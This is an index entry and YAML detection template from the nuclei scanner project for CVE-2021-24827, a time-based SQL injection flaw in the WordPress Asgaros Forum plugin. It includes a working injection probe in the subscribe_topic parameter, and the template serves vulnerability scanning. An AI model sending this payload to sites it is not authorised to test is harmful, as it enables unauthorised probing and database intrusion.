CVE-2021-24827: WordPress Asgaros Forum <1.15.13 - SQL Injection
- Template: CVE-2021-24827
- Name: WordPress Asgaros Forum <1.15.13 - SQL Injection
- Description: WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
- Impact: Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
- Remediation: Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
- Severity: critical
- Authors: theamanrawat
- Tags: time-based-sqli, cve2021, cve, wp-plugin, asgaros-forum, unauth, wpscan, wordpress, wp, sqli, asgaros, vkev, vuln
- References: https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1, https://wordpress.org/plugins/asgaros-forum/, https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum, https://nvd.nist.gov/vuln/detail/CVE-2021-24827, https://github.com/20142995/sectool
- Cves: CVE-2021-24827
- Verified: yes
- Max requests: 1
- Directory: http/cves
- Path: http/cves/2021/CVE-2021-24827.yaml
- Digest: 4a0a0047304502201e561ece691448fa7b6b56b74699779afcf69cf2f132eb64c7c7e1ab48e2c53e022100f2d68a671118635d0641937f9431f77e8a586ffffda8f0cd174a2a1eb6907fe4
- Created at: 2022-12-08T09:27:17Z
- Updated at: 2026-11-23T02:03:43Z
- Age in days: 1447
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24827.yaml
Classification
- Cwe: CWE-89
- Cvss score: 9.8
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Epss score: 0.12559
- Epss percentile: 0.96336
- Cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
Metadata
- Framework: wordpress
- Max-request: 1
- Product: asgaros_forum
- Vendor: asgaros
- Verified: yes
Products
| Product | Indexed | Url |
|---|---|---|
| asgaros:asgaros_forum | yes | /v1/products/asgaros/asgaros_forum |
Labels
- Name: WordPress Asgaros Forum - SQL Injection
- Impact: Attackers can access sensitive information, modify data, or escalate privileges on the affected site.
- Remediation: Update to version 1.15.13 or later.
- Vulnerability type: sql_injection
- Vulnerability impact: information_disclosure, data_tampering, privilege_escalation
- Requirement type: user_interaction
- Requirements: Attacker needs user interaction to subscribe to a topic
- Labels source: projectdiscovery
- From cve: CVE-2021-24827
```yaml
id: CVE-2021-24827
info:
name: WordPress Asgaros Forum <1.15.13 - SQL Injection
author: theamanrawat
severity: critical
description: |
WordPress Asgaros Forum plugin before 1.15.13 is susceptible to SQL injection. The plugin does not validate and escape user input when subscribing to a topic before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation.
remediation: |
Upgrade to the latest version of Asgaros Forum (1.15.13 or higher) to mitigate this vulnerability.
reference:
- https://wpscan.com/vulnerability/36cc5151-1d5e-4874-bcec-3b6326235db1
- https://wordpress.org/plugins/asgaros-forum/
- https://plugins.trac.wordpress.org/changeset/2611560/asgaros-forum
- https://nvd.nist.gov/vuln/detail/CVE-2021-24827
- https://github.com/20142995/sectool
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2021-24827
cwe-id: CWE-89
epss-score: 0.12559
epss-percentile: 0.96336
cpe: cpe:2.3:a:asgaros:asgaros_forum:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 1
vendor: asgaros
product: asgaros_forum
framework: wordpress
tags: time-based-sqli,cve2021,cve,wp-plugin,asgaros-forum,unauth,wpscan,wordpress,wp,sqli,asgaros,vkev,vuln
http:
- raw:
- |
@timeout: 15s
GET /forum/?subscribe_topic=1%20union%20select%201%20and%20sleep(6) HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "asgarosforum")'
condition: and
digest: 4a0a0047304502201e561ece691448fa7b6b56b74699779afcf69cf2f132eb64c7c7e1ab48e2c53e022100f2d68a671118635d0641937f9431f77e8a586ffffda8f0cd174a2a1eb6907fe4:922c64590222798bb761d5b6d8e72950
```